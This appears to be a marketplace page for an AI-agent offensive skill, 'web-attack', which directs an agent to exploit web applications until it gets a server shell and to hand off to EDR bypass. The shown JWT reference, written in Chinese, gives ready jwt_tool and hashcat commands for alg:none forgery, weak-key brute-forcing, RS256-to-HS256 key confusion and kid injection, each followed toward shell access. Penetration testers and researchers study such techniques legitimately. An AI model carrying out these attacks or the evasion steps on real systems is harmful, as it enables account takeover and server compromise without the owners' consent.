pale-knight/redteam-skill / skills/web-attack
web-attack
FlaggedHTTP/Web exploitation until a server shell or equivalent OS execution. Use after /web-recon has mapped the application. Covers injection, upload, LFI, SSRF/XXE, SSTI, deserialization, JWT/SAML, API logic, desync/cache/parser, and Web-controlled backend abuse. WAF stays here. Endpoint blocks after OS execution hand off to /edr-bypass then return. Direct non-HTTP service ports belong to /recon or /service-attack.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 5.3 KB |
| references/api-security.md | markdown | 20.3 KB |
| references/auth-bypass.md | markdown | 1.9 KB |
| references/cmdi.md | markdown | 5.0 KB |
| references/deserialization.md | markdown | 1.6 KB |
| references/http-desync.md | markdown | 5.2 KB |
| references/java-deserialization.md | markdown | 3.3 KB |
| references/jwt.md | markdown | 1.4 KB |
| references/lfi-rfi.md | markdown | 4.0 KB |
| references/orm-leak.md | markdown | 5.3 KB |
| references/parser-differentials.md | markdown | 4.4 KB |
| references/saml-security.md | markdown | 3.6 KB |
| references/server-side-client-abuse.md | markdown | 3.3 KB |
| references/sqli-mssql-chain.md | markdown | 6.3 KB |
| references/sqli-mysql-chain.md | markdown | 5.9 KB |
| references/sqli-oracle-chain.md | markdown | 4.7 KB |
| references/sqli-postgresql-chain.md | markdown | 4.6 KB |
| references/sqli.md | markdown | 8.0 KB |
| references/ssrf.md | markdown | 4.6 KB |
| references/ssti.md | markdown | 5.3 KB |
| references/upload.md | markdown | 3.6 KB |
| references/waf-bypass.md | markdown | 6.8 KB |
| references/web-cache.md | markdown | 4.1 KB |
| references/xss.md | markdown | 3.8 KB |
| references/xxe.md | markdown | 1.5 KB |
references/jwt.md
View on GitHub# JWT
> **TECH:** 改算法/密钥/kid 伪造身份
> **成功:** 伪造成管理员/他人身份后,本模块继续找执行点直到 shell
> HS256 弱密钥:**本模块**用 `jwt_tool -C` 或 hashcat `-m 16500` 砸短字典,爆了立刻签发继续打到 shell。长时间 GPU / 全 rockyou 仅当操作者另选 `/creds` 当独立作业。
## JWT攻击
### 结构
```
header.payload.signature(三段base64用.连接,以eyJ开头)
header: {"alg":"HS256","typ":"JWT"}
payload: {"sub":"user","role":"user","exp":...}
```
### alg:none 绕过
```
# header改成 "alg":"none",删掉signature(保留末尾的.)
jwt_tool <token> -X a
# 服务端接受 → 伪造成功,任意改payload
```
### 弱密钥爆破(HS256最常见)
```
jwt_tool <token> -C -d /usr/share/wordlists/rockyou.txt
# 本模块短字典;长时间 GPU 才候选 /creds
# hashcat -m 16500 jwt.txt wordlist.txt
# 爆出密钥后用它签自己的payload
jwt_tool <token> -S hs256 -p '<密钥>' -T # -T交互改payload
```
### RS256→HS256 密钥混淆
```
# 条件:能拿到服务端RSA公钥(/jwks.json 或证书)
jwt_tool <token> -X k -pk public.pem
# 原理:改成HS256后服务端拿公钥当HMAC密钥,而公钥是公开的
```
### kid注入
```
# header的kid指向密钥来源
# 改成 /dev/null(空密钥)或路径遍历/SQL注入控制它
```
### 一键全测
```
jwt_tool <token> -M at
```
---
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| receiving-code-reviewobra/superpowersUse when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| requesting-code-reviewobra/superpowersUse when completing tasks, implementing major features, or before merging to verify work meets requirements | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| using-git-worktreesobra/superpowersUse when starting feature work that needs isolation from current workspace or before executing implementation plans - ensures an isolated workspace exists via native tools or git worktree fallback | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| verification-before-completionobra/superpowersUse when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |